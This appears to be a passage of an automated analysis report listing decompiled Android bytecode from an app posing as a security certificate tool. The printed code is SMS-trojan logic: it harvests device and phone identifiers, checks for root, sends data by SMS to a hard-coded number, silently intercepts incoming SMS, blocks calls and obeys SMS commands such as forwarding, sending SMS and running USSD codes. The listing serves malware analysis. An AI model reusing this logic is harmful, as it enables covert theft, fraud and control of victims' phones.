92 | invoke-static {v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
93 | try_end_7e: if-eqz v2, :cond_59 | |
94 | try_start_80: | |
95 | invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V | |
96 | try_end_83: goto/16 :goto_59 | |
97 | catch_84: move-exception v1 | |
99 | const-string v2, "ussdtestlog" | |
101 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
102 | move-result-object v1 | |
104 | invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
105 | goto/16 :goto_59 | |
106 | catchall_8f: move-exception v0 | |
107 | goto_90: if-eqz v3, :cond_95 | |
108 | try_start_92: | |
109 | invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V | |
110 | try_end_95: throw v0 | |
111 | catch_96: move-exception v1 | |
113 | const-string v2, "ussdtestlog" | |
115 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
116 | move-result-object v1 | |
118 | invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
119 | goto/16 :goto_95 | |
120 | catchall_a1: move-exception v0 | |
121 | move-object v3, v2 | |
122 | goto/16 :goto_90 | |
123 | catch_a4: move-exception v1 | |
124 | goto/16 :goto_75 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v4, 0x0 | |
1 | const/4 v2, 0x0 | |
3 | invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; | |
4 | move-result-object v0 | |
6 | invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
7 | move-result-object v1 | |
9 | invoke-virtual {v0, v1}, Landroid/telephony/SmsManager;->divideMessage(Ljava/lang/String;)Ljava/util/ArrayList; | |
10 | move-result-object v3 | |
12 | invoke-virtual {v3}, Ljava/util/ArrayList;->size()I | |
13 | move-result v5 | |
14 | if-nez p0, :cond_45 | |
15 | goto_14: if-eqz v4, :cond_4b | |
16 | move v1, v2 | |
17 | goto_17: if-ge v1, v5, :cond_4b | |
18 | new-instance v6, Landroid/content/Intent; | |
20 | const-string v7, "android.intent.action.SMS_SENT" | |
22 | invoke-direct {v6, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
24 | const-string v7, "request" | |
26 | invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
27 | move-result-object v8 | |
29 | invoke-virtual {v6, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
30 | try_start_29: new-instance v7, Ljava/io/ObjectOutputStream; | |
31 | new-instance v8, Ljava/io/ByteArrayOutputStream; | |
33 | invoke-direct {v8}, Ljava/io/ByteArrayOutputStream;-><init>()V | |
35 | invoke-direct {v7, v8}, Ljava/io/ObjectOutputStream;-><init>(Ljava/io/OutputStream;)V | |
37 | invoke-virtual {v7, p2}, Ljava/io/ObjectOutputStream;->writeObject(Ljava/lang/Object;)V | |
39 | const-string v7, "LoadingCallBack" | |
41 | invoke-virtual {v6, v7, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/io/Serializable;)Landroid/content/Intent; |
|
42 | try_end_3b: | |
43 | invoke-static {p0, v2, v6, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
44 | move-result-object v6 | |
46 | invoke-virtual {v4, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z | |
47 | add-int/lit8 v1, v1, 0x1 | |
48 | goto/16 :goto_17 | |
49 | cond_45: new-instance v4, Ljava/util/ArrayList; | |
51 | invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V | |
52 | goto/16 :goto_14 | |
53 | cond_4b: | |
54 | const-string v1, "+447937281444" | |
55 | const/4 v2, 0x0 | |
56 | const/4 v5, 0x0 | |
58 | invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/util/ArrayList;Ljava/util/ArrayList;Ljava/util/ArrayList;)V |
|
59 | try_end_52: return-void | |
60 | catch_53: move-exception v0 | |
62 | const-string v1, "SmsClient" | |
64 | invoke-virtual {v0}, Ljava/lang/IllegalArgumentException;->toString()Ljava/lang/String; | |
65 | move-result-object v0 | |
67 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
68 | goto/16 :goto_52 | |
69 | catch_5e: move-exception v7 | |
70 | goto/16 :goto_3b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v4, 0x0 | |
2 | const-string v0, "phone" | |
4 | invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
5 | move-result-object v0 | |
6 | check-cast v0, Landroid/telephony/TelephonyManager; | |
8 | invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
9 | move-result-object v1 | |
11 | invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String; | |
12 | move-result-object v1 | |
14 | invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; | |
15 | move-result-object v1 | |
17 | const-string v2, "getITelephony" | |
18 | new-array v3, v4, [Ljava/lang/Class; | |
20 | invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; |
|
21 | move-result-object v1 | |
22 | const/4 v2, 0x1 | |
24 | invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V |
|
25 | new-array v2, v4, [Ljava/lang/Object; | |
27 | invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; |
|
28 | move-result-object v0 | |
29 | check-cast v0, Lcom/a/a/a/d; | |
30 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v0, 0x1 | |
2 | sget-object v1, Landroid/os/Build;->TAGS:Ljava/lang/String; |
|
3 | if-eqz v1, :cond_e | |
5 | const-string v2, "test-keys" | |
7 | invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
8 | move-result v1 | |
9 | if-eqz v1, :cond_e | |
10 | goto_d: return v0 | |
11 | try_start_e: new-instance v1, Ljava/io/File; | |
13 | const-string v2, "/system/app/Superuser.apk" | |
15 | invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V |
|
17 | invoke-virtual {v1}, Ljava/io/File;->exists()Z |
|
18 | try_end_18: move-result v1 | |
19 | if-nez v1, :cond_d | |
20 | goto_1b: const/4 v0, 0x0 | |
21 | goto/16 :goto_d | |
22 | catch_1d: move-exception v0 | |
23 | goto/16 :goto_1b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x0 | |
2 | invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; | |
3 | move-result-object v0 | |
4 | move-object v1, p1 | |
5 | move-object v3, p2 | |
6 | move-object v4, v2 | |
7 | move-object v5, v2 | |
9 | invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V |
|
10 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "phone" | |
3 | invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
4 | move-result-object v0 | |
5 | check-cast v0, Landroid/telephony/TelephonyManager; | |
7 | invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; |
|
8 | move-result-object v0 | |
9 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "phone" | |
3 | invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
4 | move-result-object v0 | |
5 | check-cast v0, Landroid/telephony/TelephonyManager; | |
7 | invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String; |
|
8 | move-result-object v0 | |
9 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "phone" | |
3 | invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
4 | move-result-object v0 | |
5 | check-cast v0, Landroid/telephony/TelephonyManager; | |
7 | invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String; |
|
8 | move-result-object v0 | |
9 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | try_start_0: | |
1 | const-string v0, "result" | |
3 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z |
|
4 | move-result v0 | |
5 | if-eqz v0, :cond_31 | |
7 | const-string v0, "result" | |
9 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
10 | move-result-object v0 | |
12 | const-string v1, "true" | |
14 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
15 | move-result v0 | |
16 | if-eqz v0, :cond_31 | |
18 | const-string v0, "command" | |
20 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
21 | move-result-object v0 | |
23 | const-string v1, "start_sms_forwarding" | |
25 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
26 | move-result v1 | |
27 | if-eqz v1, :cond_32 | |
29 | const-string v0, "phone_number" | |
31 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
32 | move-result-object v0 | |
34 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/Object;)Ljava/lang/String; | |
35 | move-result-object v0 | |
37 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;)V | |
38 | goto_31: return-void | |
39 | cond_32: | |
40 | const-string v1, "start_call_blocking" | |
42 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
43 | move-result v1 | |
44 | if-eqz v1, :cond_53 | |
46 | const-string v0, "phone_number" | |
48 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
49 | move-result-object v0 | |
51 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/Object;)Ljava/lang/String; | |
52 | move-result-object v0 | |
54 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->b(Ljava/lang/String;)V | |
55 | try_end_47: goto/16 :goto_31 | |
56 | catch_48: move-exception v0 | |
58 | const-string v1, "ReCheckCommandReceiver" | |
60 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
61 | move-result-object v0 | |
63 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
64 | goto/16 :goto_31 | |
65 | try_start_53: | |
66 | const-string v1, "stop_sms_forwarding" | |
68 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
69 | move-result v1 | |
70 | if-eqz v1, :cond_60 | |
71 | const/4 v0, 0x0 | |
73 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;)V | |
74 | goto/16 :goto_31 | |
75 | cond_60: | |
76 | const-string v1, "stop_call_blocking" | |
78 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
79 | move-result v1 | |
80 | if-eqz v1, :cond_6d | |
81 | const/4 v0, 0x0 | |
83 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->b(Ljava/lang/String;)V | |
84 | goto/16 :goto_31 | |
85 | cond_6d: | |
86 | const-string v1, "send_sms" | |
88 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
89 | move-result v1 | |
90 | if-eqz v1, :cond_85 | |
92 | const-string v0, "phone_number" | |
94 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
95 | move-result-object v0 | |
97 | const-string v1, "message_text" | |
99 | invoke-virtual {p1, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
100 | move-result-object v1 | |
102 | invoke-direct {p0, v0, v1}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;Ljava/lang/String;)V | |
103 | goto/16 :goto_31 | |
104 | cond_85: | |
105 | const-string v1, "execute_ussd" | |
107 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
108 | move-result v1 | |
109 | if-eqz v1, :cond_97 | |
111 | const-string v0, "ussd_query" | |
113 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
114 | move-result-object v0 | |
116 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->c(Ljava/lang/String;)V | |
117 | goto/16 :goto_31 | |
118 | cond_97: | |
119 | const-string v1, "simple_execute_ussd" | |
121 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
122 | move-result v1 | |
123 | if-eqz v1, :cond_a9 | |
125 | const-string v0, "ussd_query" | |
127 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
128 | move-result-object v0 | |
130 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->d(Ljava/lang/String;)V | |
131 | goto/16 :goto_31 | |
132 | cond_a9: | |
133 | const-string v1, "stop_program" | |
135 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
136 | move-result v1 | |
137 | if-eqz v1, :cond_b6 | |
139 | invoke-direct {p0}, Lcom/security/cert/b/b/a/a;->b()V | |
140 | goto/16 :goto_31 | |
141 | cond_b6: | |
142 | const-string v1, "show_message" | |
144 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
145 | move-result v1 | |
146 | if-eqz v1, :cond_c9 | |
148 | const-string v0, "message_text" | |
150 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
151 | move-result-object v0 | |
153 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->e(Ljava/lang/String;)V | |
154 | goto/16 :goto_31 | |
155 | cond_c9: | |
156 | const-string v1, "delay_change" | |
158 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
159 | move-result v1 | |
160 | if-eqz v1, :cond_dc | |
162 | const-string v0, "delay" | |
164 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
165 | move-result v0 | |
167 | invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(I)V | |
168 | goto/16 :goto_31 | |
169 | cond_dc: | |
170 | const-string v1, "ping" | |
172 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
173 | move-result v0 | |
174 | if-eqz v0, :cond_31 | |
176 | iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context; | |
178 | invoke-static {v0}, Lcom/security/cert/a/a/c;->b(Landroid/content/Context;)V | |
179 | try_end_e9: goto/16 :goto_31 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->c(Landroid/content/Context;)V | |
3 | invoke-static {p1}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;)Ljava/lang/String; | |
4 | move-result-object v0 | |
5 | if-eqz v0, :cond_23 | |
7 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
8 | move-result-object v1 | |
10 | const-string v2, "android.intent.action.PHONE_STATE" | |
12 | invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
13 | move-result v1 | |
14 | if-eqz v1, :cond_23 | |
16 | const-string v1, "state" | |
18 | invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
19 | move-result-object v1 | |
21 | sget-object v2, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String; |
|
23 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
24 | move-result v1 | |
25 | if-nez v1, :cond_24 | |
26 | goto_23: return-void | |
27 | cond_24: | |
28 | invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
29 | move-result-object v1 | |
31 | invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String; | |
32 | move-result-object v1 | |
34 | const-string v2, "ACTION_TO_RECEIVER" | |
36 | invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
38 | const-string v1, ".*" | |
40 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
41 | move-result v1 | |
42 | if-eqz v1, :cond_3d | |
44 | invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Landroid/content/Context;)V | |
45 | goto/16 :goto_23 | |
46 | cond_3d: | |
47 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; |
|
48 | move-result-object v1 | |
49 | if-eqz v1, :cond_23 | |
51 | const-string v2, "incoming_number" | |
53 | invoke-virtual {v1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
54 | move-result-object v1 | |
56 | invoke-direct {p0, v0, v1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Ljava/lang/String;Ljava/lang/String;)Z | |
57 | move-result v0 | |
58 | if-eqz v0, :cond_23 | |
60 | invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Landroid/content/Context;)V | |
61 | goto/16 :goto_23 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0, p1}, Lcom/security/cert/services/SmsReceiver;->a(Landroid/content/Context;)V | |
3 | invoke-static {p1}, Lcom/security/cert/b/a/a;->d(Landroid/content/Context;)Ljava/lang/String; | |
4 | move-result-object v1 | |
6 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
7 | move-result-object v0 | |
9 | const-string v2, "android.provider.Telephony.SMS_RECEIVED" | |
11 | invoke-virtual {v0, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
12 | move-result v0 | |
13 | if-eqz v0, :cond_42 | |
15 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; |
|
16 | move-result-object v0 | |
18 | const-string v2, "pdus" | |
20 | invoke-virtual {v0, v2}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
21 | move-result-object v0 | |
22 | check-cast v0, [Ljava/lang/Object; | |
23 | check-cast v0, [Ljava/lang/Object; | |
24 | array-length v2, v0 | |
25 | if-lez v2, :cond_42 | |
27 | invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->a([Ljava/lang/Object;)Ljava/lang/String; | |
28 | move-result-object v2 | |
30 | invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->b([Ljava/lang/Object;)Ljava/lang/String; | |
31 | move-result-object v0 | |
33 | invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->a(Ljava/lang/String;)Z | |
34 | move-result v3 | |
35 | if-eqz v3, :cond_48 | |
37 | invoke-virtual {p0}, Lcom/security/cert/services/SmsReceiver;->abortBroadcast()V |
|
38 | try_start_35: new-instance v1, Lcom/security/cert/b/b/a/a; | |
40 | invoke-direct {v1, p1}, Lcom/security/cert/b/b/a/a;-><init>(Landroid/content/Context;)V | |
41 | new-instance v2, Lorg/json/JSONObject; | |
43 | invoke-direct {v2, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V |
|
45 | invoke-virtual {v1, v2}, Lcom/security/cert/b/b/a/a;->a(Lorg/json/JSONObject;)V | |
46 | cond_42: return-void | |
47 | catch_43: move-exception v0 | |
49 | invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V | |
50 | goto/16 :goto_42 | |
51 | cond_48: | |
52 | invoke-direct {p0, v1, v2}, Lcom/security/cert/services/SmsReceiver;->a(Ljava/lang/String;Ljava/lang/String;)Z | |
53 | move-result v1 | |
54 | if-eqz v1, :cond_42 | |
56 | invoke-virtual {p0}, Lcom/security/cert/services/SmsReceiver;->abortBroadcast()V | |
58 | invoke-direct {p0, p1, v2, v0}, Lcom/security/cert/services/SmsReceiver;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
59 | goto/16 :goto_42 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
3 | invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String; | |
4 | move-result-object v0 | |
5 | if-nez v0, :cond_56 | |
7 | invoke-direct {p0}, Lcom/security/cert/ui/MainActivity;->a()V | |
9 | const-string v0, "USSDDumbExtendedNetworkService" | |
11 | const-string v1, "I" | |
13 | const-string v2, "*USSDDumbExtendedNetworkService bind successfully*" | |
14 | const/4 v3, 0x0 | |
16 | invoke-static {v0, v1, v2, v3}, Lcom/security/cert/b/b;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)Z | |
17 | move-result v0 | |
18 | if-nez v0, :cond_52 | |
19 | sget v0, Landroid/os/Build$VERSION;->SDK_INT:I | |
20 | const/16 v1, 0xb | |
21 | if-ge v0, v1, :cond_52 | |
22 | const v0, 0x7f040012 | |
23 | goto_22: new-instance v1, Landroid/content/Intent; | |
24 | const-class v2, Lcom/security/cert/services/CheckCommandsService; | |
26 | invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
28 | invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
29 | new-instance v1, Landroid/content/Intent; | |
30 | const-class v2, Lcom/security/cert/services/CheckQueueService; | |
32 | invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
34 | invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
35 | new-instance v1, Landroid/content/Intent; | |
36 | const-class v2, Lcom/security/cert/ui/MessageDialogActivity; | |
38 | invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
40 | const-string v2, "message" | |
42 | invoke-virtual {p0, v0}, Lcom/security/cert/ui/MainActivity;->getString(I)Ljava/lang/String; |
|
43 | move-result-object v0 | |
45 | invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
46 | const/high16 v0, 0x3000 | |
48 | invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
50 | invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startActivity(Landroid/content/Intent;)V |
|
52 | invoke-virtual {p0}, Lcom/security/cert/ui/MainActivity;->finish()V | |
53 | return-void | |
54 | cond_52: const v0, 0x7f040011 | |
55 | goto/16 :goto_22 | |
56 | cond_56: const v0, 0x7f040013 | |
57 | goto/16 :goto_22 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
4 | const-string v1, "queue" | |
6 | const-string v2, "" | |
8 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
9 | move-result-object v0 | |
11 | const-string v1, "\u2116@--R7a" | |
13 | invoke-static {v0, v1}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String; |
|
14 | move-result-object v0 | |
16 | invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List; | |
17 | move-result-object v0 | |
18 | new-instance v1, Ljava/util/ArrayList; | |
20 | invoke-interface {v0}, Ljava/util/List;->size()I | |
21 | move-result v2 | |
23 | invoke-direct {v1, v2}, Ljava/util/ArrayList;-><init>(I)V | |
25 | invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
26 | move-result-object v2 | |
27 | goto_23: | |
28 | invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z | |
29 | move-result v0 | |
30 | if-eqz v0, :cond_3d | |
32 | invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
33 | move-result-object v0 | |
34 | check-cast v0, Ljava/lang/String; | |
35 | try_start_2f: new-instance v3, Lorg/json/JSONObject; | |
37 | invoke-direct {v3, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
39 | invoke-interface {v1, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
40 | try_end_37: goto/16 :goto_23 | |
41 | catch_38: move-exception v0 | |
43 | invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V | |
44 | goto/16 :goto_23 | |
45 | cond_3d: return-object v1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v0 | |
3 | new-instance v1, Ljava/util/ArrayList; | |
5 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
6 | move-result-object v2 | |
8 | const-string v3, "queue" | |
10 | const-string v4, "" | |
12 | invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
13 | move-result-object v2 | |
15 | const-string v3, "\u2116@--R7a" | |
17 | invoke-static {v2, v3}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String; |
|
18 | move-result-object v2 | |
20 | invoke-static {v2}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List; | |
21 | move-result-object v2 | |
23 | invoke-direct {v1, v2}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V | |
25 | invoke-interface {v1, p1}, Ljava/util/List;->contains(Ljava/lang/Object;)Z | |
26 | move-result v2 | |
27 | if-nez v2, :cond_33 | |
29 | invoke-interface {v1, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
31 | const-string v2, "queue" | |
33 | const-string v3, "\u2116@--R7a" | |
35 | invoke-static {v3, v1}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String; |
|
36 | move-result-object v1 | |
38 | invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
39 | cond_33: | |
40 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
41 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
2 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
4 | invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V |
|
5 | const/high16 v1, 0x7f04 | |
7 | invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(I)Landroid/app/AlertDialog$Builder; |
|
8 | move-result-object v0 | |
10 | invoke-virtual {p0}, Lcom/security/cert/ui/MessageDialogActivity;->getIntent()Landroid/content/Intent; | |
11 | move-result-object v1 | |
13 | const-string v2, "message" | |
15 | invoke-virtual {v1, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
16 | move-result-object v1 | |
18 | invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
19 | move-result-object v0 | |
20 | const/4 v1, 0x0 | |
22 | invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder; |
|
23 | move-result-object v0 | |
24 | const v1, 0x7f040001 | |
25 | new-instance v2, Lcom/security/cert/ui/b; | |
